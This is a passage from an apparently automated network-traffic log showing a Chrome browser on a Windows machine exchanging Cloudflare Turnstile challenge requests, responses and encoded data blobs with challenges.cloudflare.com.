2025-04-28 07:04:25 UTC	278	IN	Data Raw: 68 49 4b 34 68 62 53 38 6e 36 4f 6f 77 63 6d 6f 68 36 69 4c 68 61 65 64 6b 62 4b 6d 73 72 4c 56 72 64 7a 4c 73 71 75 32 77 4b 50 6a 75 64 71 5a 75 4a 75 35 32 36 72 56 72 62 75 36 34 62 37 62 72 66 54 69 78 4e 61 31 37 65 6e 64 79 66 67 42 36 73 7a 50 75 75 50 74 41 74 54 68 43 2b 50 63 34 64 6b 42 77 65 6e 73 43 75 4c 54 78 78 45 51 30 65 7a 30 30 52 6e 63 37 4f 33 37 41 2b 73 62 2f 52 63 61 2b 66 33 62 2b 65 6b 6d 48 65 30 6b 41 53 48 36 4b 67 55 41 45 77 38 46 47 79 6e 37 4c 52 6f 59 49 42 2f 34 48 43 51 67 49 78 51 55 4a 68 67 6f 51 77 51 59 42 69 41 61 55 6b 64 55 55 6a 34 34 4a 46 46 44 52 42 6c 49 58 31 73 36 55 44 38 39 51 7a 35 43 4c 79 68 44 58 47 59 30 53 7a 70 49 4f 30 64 4e 61 32 46 50 58 6b 31 31 65 54 46 63 4c 6e 35 54 50 46 5a 2b 67 58 31 Data Ascii: hIK4hbS8n6Oowcmoh6iLhaedkbKmsrLVrdzLsqu2wKPjudqZuJu526rVrbu64b7brfTixNa17endyfgB6szPuuPtAtThC+Pc4dkBwensCuLTxxEQ0ez00Rnc7O37A+sb/Rca+f3b+ekmHe0kASH6KgUAEw8FGyn7LRoYIB/4HCQgIxQUJhgoQwQYBiAaUkdUUj44JFFDRBlIX1s6UD89Qz5CLyhDXGY0SzpIO0dNa2FPXk11eTFcLn5TPFZ+gX1
2025-04-28 07:04:25 UTC	1369	IN	Data Raw: 39 4e 58 32 42 33 61 34 79 45 6b 47 35 73 66 6c 68 7a 57 6d 4b 67 65 48 4e 6a 6f 33 6c 6a 6d 4a 36 4f 6a 59 47 4a 6d 34 4a 6d 62 35 43 6a 63 37 68 34 73 33 57 39 70 37 69 6f 75 36 75 37 78 4d 47 2f 6e 70 6e 49 67 34 50 46 78 70 6e 4e 79 36 6d 74 71 34 2b 70 6f 36 36 74 72 59 79 59 73 70 61 70 76 72 65 72 7a 4e 33 53 73 39 53 65 30 37 66 45 77 61 6d 34 35 39 76 71 72 39 48 4c 73 4f 6e 46 35 75 6a 76 31 63 75 30 30 64 6e 70 41 64 72 30 42 64 66 55 78 65 2f 70 75 39 6e 39 77 2f 37 33 2f 51 44 4d 45 52 4c 68 33 52 50 52 30 52 6b 4d 39 77 34 48 39 75 2f 59 47 66 41 43 2b 41 38 48 47 79 6f 61 2b 51 45 6f 46 79 55 6d 42 4f 2f 37 37 44 59 77 4d 51 62 77 4e 67 37 78 42 54 66 32 2f 69 6f 32 45 55 4e 47 52 6a 58 39 48 67 70 49 53 55 73 57 54 56 41 51 54 42 41 7a 45 Data Ascii: 9NX2B3a4yEkG5sflhzWmKgeHNjo3ljmJ6OjYGJm4Jmb5Cjc7h4s3W9p7iou6u7xMG/npnIg4PFxpnNy6mtq4+po66trYyYspapvrerzN3Ss9Se07fEwam459vqr9HLsOnF5ujv1cu00dnpAdr0BdfUxe/pu9n9w/73/QDMERLh3RPR0RkM9w4H9u/YGfAC+A8HGyoa+QEoFyUmBO/77DYwMQbwNg7xBTf2/io2EUNGRjX9HgpISUsWTVAQTBAzE
2025-04-28 07:04:25 UTC	1369	IN	Data Raw: 64 6d 6f 68 6f 63 49 32 4e 6f 6e 6d 61 68 48 4b 67 64 34 57 72 71 57 4f 47 65 59 53 48 6b 37 47 63 62 35 35 2f 70 6e 4b 6e 75 6e 53 55 6d 6f 71 4b 63 35 2f 45 6f 35 53 79 6b 4b 57 39 73 38 71 57 74 70 37 51 7a 63 58 42 6a 4c 4c 4c 6f 71 58 55 7a 37 53 75 7a 71 6e 49 77 4b 69 38 77 74 32 77 75 63 37 56 31 72 7a 4b 70 74 37 4a 7a 63 4f 34 76 4e 75 2b 74 4d 72 52 36 72 58 42 34 72 62 52 2f 76 37 74 33 39 44 63 31 63 48 7a 30 4d 38 48 41 41 4c 6c 37 4f 49 45 37 4f 6a 78 37 38 76 72 2f 63 38 59 38 52 41 55 43 2f 45 64 32 78 4c 76 2b 78 38 63 46 79 54 7a 48 78 73 67 4b 69 73 62 47 79 44 6e 4d 69 6b 70 37 50 77 70 42 54 49 51 4b 66 6f 63 45 65 2f 35 45 53 41 31 44 68 78 41 4e 78 4d 7a 45 53 51 6e 49 53 41 6e 47 51 67 2b 4a 78 4e 49 52 68 38 6a 53 79 30 30 44 55 Data Ascii: dmohocI2NonmahHKgd4WrqWOGeYSHk7Gcb55/pnKnunSUmoqKc5/Eo5SykKW9s8qWtp7QzcXBjLLLoqXUz7SuzqnIwKi8wt2wuc7V1rzKpt7JzcO4vNu+tMrR6rXB4rbR/v7t39Dc1cHz0M8HAALl7OIE7Ojx78vr/c8Y8RAUC/Ed2xLv+x8cFyTzHxsgKisbGyDnMikp7PwpBTIQKfocEe/5ESA1DhxANxMzESQnISAnGQg+JxNIRh8jSy00DU
2025-04-28 07:04:25 UTC	1369	IN	Data Raw: 6e 4a 42 67 5a 58 5a 78 64 5a 6d 46 70 71 61 4b 61 47 4b 50 71 33 4f 30 67 35 4f 51 69 58 57 59 63 37 57 62 6c 35 71 4e 69 72 75 2f 77 48 2b 76 75 4a 4f 59 79 70 33 4c 76 73 79 63 75 4d 47 37 6a 6f 71 65 73 63 57 56 70 4d 66 54 74 36 6e 47 6c 64 37 66 7a 4e 54 44 34 74 2f 5a 78 62 69 2f 78 62 6d 2b 77 4e 32 39 71 4f 48 6a 72 66 54 66 39 37 6a 33 35 4d 62 4e 2b 50 6a 65 2b 4d 36 39 33 63 44 6b 2b 41 50 5a 34 73 58 38 43 75 34 45 34 78 49 48 43 73 77 4c 43 76 63 4d 42 51 37 37 44 78 59 52 44 66 48 61 39 77 4d 6a 2b 75 54 59 46 68 73 70 2f 53 45 58 4b 68 6e 39 4d 69 38 74 37 44 49 7a 49 41 38 52 4f 66 49 59 4b 69 73 4d 47 53 73 74 4d 2f 55 63 4f 77 4d 53 50 44 74 43 48 54 6c 45 4d 42 6f 70 53 67 38 63 53 69 31 57 52 53 49 59 55 6a 59 62 50 56 35 4d 54 6c 35 Data Ascii: nJBgZXZxdZmFpqaKaGKPq3O0g5OQiXWYc7Wbl5qNiru/wH+vuJOYyp3LvsycuMG7joqescWVpMfTt6nGld7fzNTD4t/Zxbi/xbm+wN29qOHjrfTf97j35MbN+Pje+M693cDk+APZ4sX8Cu4E4xIHCswLCvcMBQ77DxYRDfHa9wMj+uTYFhsp/SEXKhn9Mi8t7DIzIA8ROfIYKisMGSstM/UcOwMSPDtCHTlEMBopSg8cSi1WRSIYUjYbPV5MTl5
2025-04-28 07:04:25 UTC	1369	IN	Data Raw: 61 56 6a 65 47 32 41 70 58 69 4d 68 5a 74 77 72 36 75 71 6b 58 42 7a 71 59 79 76 6d 4b 6d 34 76 62 43 44 78 5a 79 36 67 72 69 49 74 58 32 6e 6a 4b 47 4d 6f 73 47 63 30 73 4f 50 74 63 69 6d 31 72 6d 33 6d 36 32 34 33 4b 69 7a 72 64 79 35 78 4c 66 6c 6f 63 50 68 6f 37 76 44 72 4f 76 63 73 4b 6e 46 36 2b 36 76 78 73 37 6f 73 74 6a 35 36 37 33 56 33 72 2f 33 37 65 34 43 76 41 58 55 77 39 38 42 34 51 6a 35 41 75 7a 6c 35 74 2f 4b 41 4d 38 57 37 52 4d 59 47 51 6e 56 30 50 62 6f 49 66 55 55 34 53 59 64 43 51 4d 64 46 2b 6f 5a 35 79 62 37 4b 76 73 6b 4d 6a 55 4f 4a 2f 51 51 4f 53 73 50 45 44 6f 49 4b 77 70 44 52 42 55 37 52 6a 77 67 50 55 63 37 49 30 4a 42 48 54 31 4a 48 6c 41 78 45 79 38 73 51 30 4e 51 53 54 6c 62 4d 79 74 4d 58 42 6f 69 4a 46 39 6a 55 54 41 6a Data Ascii: aVjeG2ApXiMhZtwr6uqkXBzqYyvmKm4vbCDxZy6griItX2njKGMosGc0sOPtcim1rm3m6243Kizrdy5xLflocPho7vDrOvcsKnF6+6vxs7ostj5673V3r/37e4CvAXUw98B4Qj5Auzl5t/KAM8W7RMYGQnV0PboIfUU4SYdCQMdF+oZ5yb7KvskMjUOJ/QQOSsPEDoIKwpDRBU7RjwgPUc7I0JBHT1JHlAxEy8sQ0NQSTlbMytMXBoiJF9jUTAj
2025-04-28 07:04:25 UTC	1369	IN	Data Raw: 6d 6e 6b 6f 35 77 73 4b 4f 6d 61 72 47 4d 71 5a 65 6f 72 72 4f 61 75 70 43 69 72 4b 53 78 67 38 58 4a 6b 36 47 74 6f 63 61 39 76 63 32 63 6f 63 76 54 78 71 57 76 6c 71 4b 38 6d 4b 6e 58 73 35 61 61 75 65 4f 31 32 39 69 79 79 4e 79 30 79 72 6d 37 33 72 37 70 7a 38 7a 6b 77 62 2f 68 73 65 4b 31 78 4d 33 36 2f 4f 7a 49 2f 4f 72 53 38 74 6a 32 77 63 54 7a 38 39 4d 4d 32 41 72 62 43 75 72 38 33 51 77 4b 37 50 58 67 2b 41 72 54 37 78 34 61 2b 78 54 5a 46 51 54 68 33 66 77 69 34 42 34 63 4b 52 6b 42 2b 79 67 45 43 68 4d 48 41 77 41 57 36 41 49 56 44 51 73 57 50 6a 6f 54 50 78 4d 72 39 42 49 65 46 51 4d 77 49 6b 41 37 4e 30 49 59 42 6a 30 4c 48 6b 6f 74 53 6c 52 4a 4b 52 4e 4d 53 52 4a 53 4e 6c 6b 72 47 79 35 5a 48 46 70 6b 57 47 4d 6a 58 46 74 71 4e 32 31 67 50 Data Ascii: mnko5wsKOmarGMqZeorrOaupCirKSxg8XJk6Gtoca9vc2cocvTxqWvlqK8mKnXs5aaueO129iyyNy0yrm73r7pz8zkwb/hseK1xM36/OzI/OrS8tj2wcTz89MM2ArbCur83QwK7PXg+ArT7x4a+xTZFQTh3fwi4B4cKRkB+ygEChMHAwAW6AIVDQsWPjoTPxMr9BIeFQMwIkA7N0IYBj0LHkotSlRJKRNMSRJSNlkrGy5ZHFpkWGMjXFtqN21gP
2025-04-28 07:04:25 UTC	1369	IN	Data Raw: 4e 62 70 61 57 6c 34 61 74 71 63 43 56 6d 35 2f 44 70 48 32 58 73 34 43 55 67 6f 65 69 70 49 57 42 6f 63 43 67 77 70 53 6b 77 71 4f 7a 78 70 69 72 79 4d 57 38 70 37 2b 70 73 61 48 43 75 74 69 77 31 4e 71 67 32 75 58 73 71 63 66 44 79 2b 4f 70 38 2b 32 2b 32 50 54 31 32 2f 62 64 30 4d 66 39 32 66 66 56 77 39 44 33 39 77 58 78 41 65 6a 69 34 50 7a 64 43 65 4d 4f 30 41 7a 77 30 50 62 34 46 4f 37 5a 2b 67 66 50 43 50 73 55 38 2b 7a 72 41 42 6a 78 35 42 2f 69 4a 41 58 65 4b 77 55 4a 44 53 73 54 45 43 6f 56 4a 76 59 36 39 69 77 51 39 76 30 48 39 66 77 41 48 6a 4d 56 49 45 52 4a 43 42 55 2b 43 69 6c 47 43 30 77 6d 4c 79 6c 41 54 41 38 31 51 69 38 70 57 44 55 2b 57 6a 6f 79 58 32 42 50 50 56 42 5a 53 46 5a 52 4a 56 56 45 49 31 6c 59 58 6a 46 67 57 30 78 64 4e 6b Data Ascii: NbpaWl4atqcCVm5/DpH2Xs4CUgoeipIWBocCgwpSkwqOzxpiryMW8p7+psaHCutiw1Nqg2uXsqcfDy+Op8+2+2PT12/bd0Mf92ffVw9D39wXxAeji4PzdCeMO0Azw0Pb4FO7Z+gfPCPsU8+zrABjx5B/iJAXeKwUJDSsTECoVJvY69iwQ9v0H9fwAHjMVIERJCBU+CilGC0wmLylATA81Qi8pWDU+WjoyX2BPPVBZSFZRJVVEI1lYXjFgW0xdNk
2025-04-28 07:04:25 UTC	1369	IN	Data Raw: 6a 4b 65 34 6b 33 74 36 70 5a 36 6e 72 37 75 32 76 62 2b 31 70 35 6d 4c 72 4b 6d 67 6b 74 57 2f 6a 59 6d 35 72 73 76 61 71 62 4c 50 32 5a 69 35 72 72 43 32 75 74 4c 67 70 36 44 45 77 61 79 34 36 39 6e 50 37 61 76 48 30 65 47 31 31 73 6a 7a 78 74 57 38 78 74 76 54 2b 64 32 2f 38 2b 50 4e 32 67 6e 35 77 38 48 61 79 67 50 71 37 50 77 4b 44 63 72 73 43 4f 51 4b 37 41 6e 30 31 42 76 78 46 52 4d 62 33 53 48 62 2f 4f 45 42 48 66 7a 39 48 69 33 72 47 79 38 6d 4c 44 45 73 2f 54 51 4e 4d 41 51 35 45 6a 49 6e 43 54 34 78 38 52 49 4b 4e 6a 41 50 45 44 30 48 52 30 67 36 4f 41 55 6f 53 51 5a 4e 51 45 35 42 45 30 5a 46 43 6c 67 79 55 6b 5a 61 58 6c 45 67 48 43 70 57 54 32 41 77 58 53 63 69 61 46 70 59 62 6b 68 70 4a 6a 42 67 62 6d 46 30 5a 6d 55 71 4e 6c 4a 79 5a 33 4e Data Ascii: jKe4k3t6pZ6nr7u2vb+1p5mLrKmgktW/jYm5rsvaqbLP2Zi5rrC2utLgp6DEway469nP7avH0eG11sjzxtW8xtvT+d2/8+PN2gn5w8HaygPq7PwKDcrsCOQK7An01BvxFRMb3SHb/OEBHfz9Hi3rGy8mLDEs/TQNMAQ5EjInCT4x8RIKNjAPED0HR0g6OAUoSQZNQE5BE0ZFClgyUkZaXlEgHCpWT2AwXSciaFpYbkhpJjBgbmF0ZmUqNlJyZ3N
2025-04-28 07:04:25 UTC	1369	IN	Data Raw: 38 57 6c 68 62 43 53 74 70 54 4e 72 61 50 4a 6d 72 47 66 70 37 58 51 70 71 7a 4e 78 73 57 71 31 38 66 51 74 74 79 64 32 64 48 67 73 64 2f 44 76 73 48 6f 71 4d 66 4c 33 71 33 62 71 4f 71 75 30 4b 7a 6b 38 63 6d 76 35 2b 33 49 72 2f 47 34 30 65 4c 59 74 64 66 50 32 65 59 42 75 77 55 49 77 77 33 45 78 77 34 54 36 65 6b 54 78 78 58 79 2b 4f 58 6e 48 66 58 32 38 42 37 61 45 78 33 77 31 74 63 54 41 64 6f 6e 43 78 63 5a 48 41 30 4e 35 75 6a 6f 35 51 45 4b 44 77 45 4e 36 7a 59 58 4c 77 66 2b 41 45 41 65 47 42 41 76 42 52 66 35 4f 30 73 56 4e 55 4d 4d 4f 77 59 50 43 41 6b 30 48 52 51 58 56 56 6b 35 4d 31 41 72 4d 78 68 66 57 31 5a 4f 4e 31 67 31 49 69 4a 52 4f 6c 64 41 5a 30 42 66 61 6d 52 79 4d 6c 56 4c 52 47 35 4d 51 31 46 79 53 44 78 50 66 31 70 67 57 58 4e 63 Data Ascii: 8WlhbCStpTNraPJmrGfp7XQpqzNxsWq18fQttyd2dHgsd/DvsHoqMfL3q3bqOqu0Kzk8cmv5+3Ir/G40eLYtdfP2eYBuwUIww3Exw4T6ekTxxXy+OXnHfX28B7aEx3w1tcTAdonCxcZHA0N5ujo5QEKDwEN6zYXLwf+AEAeGBAvBRf5O0sVNUMMOwYPCAk0HRQXVVk5M1ArMxhfW1ZON1g1IiJROldAZ0BfamRyMlVLRG5MQ1FySDxPf1pgWXNc

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.5	49733	104.18.94.41	443	6240	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-04-28 07:04:25 UTC	638	OUT	GET /cdn-cgi/challenge-platform/h/g/flow/ov1/652780260:1745821567:WBBn2W7-fOSe7lGpGYVAOox2W9NKxXUBK7p5JVjVv_U/9374b425be546a49/vJwbh2JU03EtygssnrEXjkqGQuJQ_136_FMkyZ6GkWE-1745823847-1.1.1.1-qzR3nADmxNcRoy1CzRGnKqjrlpQBHTLtv8NZE070I0b.I7IPsOih7HTF3j1i8Ncz HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Sec-Fetch-Storage-Access: active Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-04-28 07:04:26 UTC	442	IN	HTTP/1.1 400 Bad Request Date: Mon, 28 Apr 2025 07:04:26 GMT Content-Type: application/json Content-Length: 14 Connection: close cache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 cf-chl-out: fi2AkcW9r+RFEu5cUBlpxP6nkRiTOeO+pMAANy9NGdvg8zjqC9rOvSeMEWVAjpav/zR2GDrqqzyU3uKvn1unuw==$gNrnPDdpaapGuocwRJTdQQ== Server: cloudflare CF-RAY: 9374b49bbdde97f4-PHX alt-svc: h3=":443"; ma=86400
2025-04-28 07:04:26 UTC	14	IN	Data Raw: 7b 22 65 72 72 22 3a 31 30 30 32 38 30 7d Data Ascii: {"err":100280}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.5	49734	104.18.94.41	443	6240	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-04-28 07:04:26 UTC	857	OUT	GET /cdn-cgi/challenge-platform/h/g/pat/9374b425be546a49/1745823864924/590289e2f20c9fba1a2eacd5fa0141e24ab406bc8e7da1f85ef6177d28b7384d/4nF2Btxf0aKuFio HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive Cache-Control: max-age=0 sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Sec-Fetch-Storage-Access: active Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/turnstile/if/ov2/av0/rcv/lzyee/0x4AAAAAAADnPIDROrmt1Wwj/light/fbE/new/normal/auto/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-04-28 07:04:26 UTC	143	IN	HTTP/1.1 401 Unauthorized Date: Mon, 28 Apr 2025 07:04:26 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 1 Connection: close
2025-04-28 07:04:26 UTC	2015	IN	Data Raw: 77 77 77 2d 61 75 74 68 65 6e 74 69 63 61 74 65 3a 20 50 72 69 76 61 74 65 54 6f 6b 65 6e 20 63 68 61 6c 6c 65 6e 67 65 3d 22 41 41 49 41 47 58 42 68 64 43 31 70 63 33 4e 31 5a 58 49 75 59 32 78 76 64 57 52 6d 62 47 46 79 5a 53 35 6a 62 32 30 67 57 51 4b 4a 34 76 49 4d 6e 37 6f 61 4c 71 7a 56 2d 67 46 42 34 6b 71 30 42 72 79 4f 66 61 48 34 58 76 59 58 66 53 69 33 4f 45 30 41 47 57 4e 6f 59 57 78 73 5a 57 35 6e 5a 58 4d 75 59 32 78 76 64 57 52 6d 62 47 46 79 5a 53 35 6a 62 32 30 3d 22 2c 20 74 6f 6b 65 6e 2d 6b 65 79 3d 22 4d 49 49 42 55 6a 41 39 42 67 6b 71 68 6b 69 47 39 77 30 42 41 51 6f 77 4d 4b 41 4e 4d 41 73 47 43 57 43 47 53 41 46 6c 41 77 51 43 41 71 45 61 4d 42 67 47 43 53 71 47 53 49 62 33 44 51 45 42 43 44 41 4c 42 67 6c 67 68 6b 67 42 5a 51 4d Data Ascii: www-authenticate: PrivateToken challenge="AAIAGXBhdC1pc3N1ZXIuY2xvdWRmbGFyZS5jb20gWQKJ4vIMn7oaLqzV-gFB4kq0BryOfaH4XvYXfSi3OE0AGWNoYWxsZW5nZXMuY2xvdWRmbGFyZS5jb20=", token-key="MIIBUjA9BgkqhkiG9w0BAQowMKANMAsGCWCGSAFlAwQCAqEaMBgGCSqGSIb3DQEBCDALBglghkgBZQM
2025-04-28 07:04:26 UTC	1	IN	Data Raw: 4a Data Ascii: J

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.5	49735	104.18.94.41	443	6240	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-04-28 07:04:28 UTC	828	OUT	GET /cdn-cgi/challenge-platform/h/g/d/9374b425be546a49/1745823864928/qbrm-VjPK8YIgz0 HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Sec-Fetch-Storage-Access: active Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/turnstile/if/ov2/av0/rcv/lzyee/0x4AAAAAAADnPIDROrmt1Wwj/light/fbE/new/normal/auto/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-04-28 07:04:28 UTC	200	IN	HTTP/1.1 200 OK Date: Mon, 28 Apr 2025 07:04:28 GMT Content-Type: image/png Content-Length: 61 Connection: close Server: cloudflare CF-RAY: 9374b4a7ed951937-PHX alt-svc: h3=":443"; ma=86400
2025-04-28 07:04:28 UTC	61	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 44 00 00 00 57 08 02 00 00 00 32 33 74 d0 00 00 00 04 49 44 41 54 00 00 00 01 9d 24 d7 91 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: PNGIHDRDW23tIDAT$IENDB`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.5	49736	104.18.94.41	443	6240	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-04-28 07:04:28 UTC	1192	OUT	POST /cdn-cgi/challenge-platform/h/g/flow/ov1/652780260:1745821567:WBBn2W7-fOSe7lGpGYVAOox2W9NKxXUBK7p5JVjVv_U/9374b425be546a49/vJwbh2JU03EtygssnrEXjkqGQuJQ_136_FMkyZ6GkWE-1745823847-1.1.1.1-qzR3nADmxNcRoy1CzRGnKqjrlpQBHTLtv8NZE070I0b.I7IPsOih7HTF3j1i8Ncz HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive Content-Length: 40118 sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" Content-Type: text/plain;charset=UTF-8 cf-chl: vJwbh2JU03EtygssnrEXjkqGQuJQ_136_FMkyZ6GkWE-1745823847-1.1.1.1-qzR3nADmxNcRoy1CzRGnKqjrlpQBHTLtv8NZE070I0b.I7IPsOih7HTF3j1i8Ncz cf-chl-ra: 2 sec-ch-ua-mobile: ?0 Accept: / Origin: https://challenges.cloudflare.com Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Sec-Fetch-Storage-Access: active Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/turnstile/if/ov2/av0/rcv/lzyee/0x4AAAAAAADnPIDROrmt1Wwj/light/fbE/new/normal/auto/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-04-28 07:04:28 UTC	16384	OUT	Data Raw: 38 64 35 70 74 6f 45 61 4d 2d 6a 76 6a 50 61 75 6b 45 78 6f 4b 34 2d 61 75 65 75 37 75 53 70 55 6a 75 42 46 75 43 70 51 35 6f 6b 46 75 63 30 70 50 64 6f 59 75 4c 6f 75 79 43 4e 6e 6f 69 75 6d 70 45 36 4d 34 75 78 46 34 45 66 79 48 50 55 4b 75 70 70 6f 44 75 78 33 45 6f 59 75 68 4b 66 46 53 75 61 70 2d 6a 4d 75 33 70 31 61 6a 75 38 34 6f 73 61 70 65 4d 75 51 73 75 51 4e 65 68 75 65 6a 75 72 75 73 55 47 35 6d 71 6b 4d 75 69 4c 4f 53 45 31 73 33 45 6f 54 42 53 75 55 6e 5a 34 59 44 35 6a 65 69 68 65 33 53 45 38 54 53 30 70 69 75 45 63 50 45 34 6a 75 33 4d 6b 75 51 68 55 54 55 75 75 54 6e 41 4a 34 57 6e 75 50 71 61 67 59 2d 6d 65 36 51 59 6e 65 78 2b 4d 75 75 41 65 51 34 75 43 31 74 35 65 74 51 64 64 75 6f 5a 59 6a 70 45 79 75 2d 30 75 70 79 30 77 75 75 35 75 Data Ascii: 8d5ptoEaM-jvjPaukExoK4-aueu7uSpUjuBFuCpQ5okFuc0pPdoYuLouyCNnoiumpE6M4uxF4EfyHPUKuppoDux3EoYuhKfFSuap-jMu3p1aju84osapeMuQsuQNehuejurusUG5mqkMuiLOSE1s3EoTBSuUnZ4YD5jeihe3SE8TS0piuEcPE4ju3MkuQhUTUuuTnAJ4WnuPqagY-me6QYnex+MuuAeQ4uC1t5etQdduoZYjpEyu-0upy0wuu5u
2025-04-28 07:04:28 UTC	16384	OUT	Data Raw: 35 75 49 49 6b 4a 51 5a 79 56 39 5a 38 64 45 30 61 68 32 71 79 6d 45 31 36 24 75 75 79 30 61 4a 74 72 4c 34 56 45 36 24 2d 70 75 51 65 31 50 33 71 33 4d 32 59 4a 75 67 53 6d 32 6c 76 6d 45 50 4b 32 36 79 51 39 72 66 51 35 55 72 4b 38 68 47 36 24 33 75 34 37 32 54 46 72 42 5a 41 70 75 55 70 67 46 2b 75 4b 55 57 53 6f 74 6a 51 4d 45 51 44 4b 35 2d 75 73 6e 6a 45 4f 36 46 66 2d 30 58 65 54 51 45 35 79 49 44 68 46 57 4d 79 45 6e 35 51 70 67 34 70 53 35 5a 6f 73 55 64 24 35 51 48 53 6f 42 75 5a 70 73 6e 6a 74 53 49 75 55 5a 4e 50 6c 35 54 48 45 4d 31 75 48 42 54 6a 6f 71 53 35 61 57 48 4f 74 53 34 4d 72 70 75 61 48 6f 33 79 69 55 64 76 35 5a 2d 7a 4e 59 4d 36 75 79 33 70 38 75 71 45 59 32 70 68 31 38 78 50 63 75 45 4e 49 34 35 5a 72 66 4a 59 6a 45 58 30 47 34 Data Ascii: 5uIIkJQZyV9Z8dE0ah2qymE16$uuy0aJtrL4VE6$-puQe1P3q3M2YJugSm2lvmEPK26yQ9rfQ5UrK8hG6$3u472TFrBZApuUpgF+uKUWSotjQMEQDK5-usnjEO6Ff-0XeTQE5yIDhFWMyEn5Qpg4pS5ZosUd$5QHSoBuZpsnjtSIuUZNPl5THEM1uHBTjoqS5aWHOtS4MrpuaHo3yiUdv5Z-zNYM6uy3p8uqEY2ph18xPcuENI45ZrfJYjEX0G4
2025-04-28 07:04:28 UTC	7350	OUT	Data Raw: 4c 31 63 75 73 74 6f 2b 6b 4f 47 71 78 4b 34 35 45 73 65 53 75 55 53 33 31 4c 30 6c 32 6f 30 4f 45 6f 47 71 65 79 4e 78 75 55 76 35 77 50 75 6c 53 55 70 79 2b 75 79 71 71 70 63 49 59 33 48 64 76 76 38 59 55 36 57 73 35 34 71 72 34 61 4f 73 31 36 43 35 75 79 55 50 4c 46 6c 6b 49 6b 34 75 61 45 2b 64 6f 34 75 56 75 31 5a 58 6c 75 4c 71 48 35 6f 34 70 50 75 55 59 6b 58 42 41 75 4e 38 74 47 6b 46 31 57 53 5a 76 64 5a 45 6b 64 6f 42 75 6e 6f 71 4d 45 4d 6b 4d 79 41 47 2b 35 74 53 4f 4b 59 7a 41 48 6e 34 34 67 76 64 45 55 65 48 53 2d 55 78 78 75 49 34 51 52 50 71 70 45 6d 35 5a 36 47 75 73 47 30 49 78 39 47 77 2b 41 64 37 77 31 37 53 45 49 47 6c 75 34 79 35 48 45 67 4d 34 4c 61 54 69 39 70 6f 6b 4c 58 24 39 44 37 33 65 4f 47 39 53 6e 68 55 45 47 6d 73 69 57 7a Data Ascii: L1custo+kOGqxK45EseSuUS31L0l2o0OEoGqeyNxuUv5wPulSUpy+uyqqpcIY3Hdvv8YU6Ws54qr4aOs16C5uyUPLFlkIk4uaE+do4uVu1ZXluLqH5o4pPuUYkXBAuN8tGkF1WSZvdZEkdoBunoqMEMkMyAG+5tSOKYzAHn44gvdEUeHS-UxxuI4QRPqpEm5Z6GusG0Ix9Gw+Ad7w17SEIGlu4y5HEgM4LaTi9pokLX$9D73eOG9SnhUEGmsiWz
2025-04-28 07:04:29 UTC	322	IN	HTTP/1.1 200 OK Date: Mon, 28 Apr 2025 07:04:29 GMT Content-Type: text/plain; charset=UTF-8 Content-Length: 28188 Connection: close cf-chl-gen: 02QQTDvqelA/uZb08frohcs7xlV0+IZWy69dc4h6TogumMCXvb6MNgPQFxWvmiGh$QoIKGwp/75JIwRhoxdw4Yw== Server: cloudflare CF-RAY: 9374b4ad3dd41b4b-PHX alt-svc: h3=":443"; ma=86400
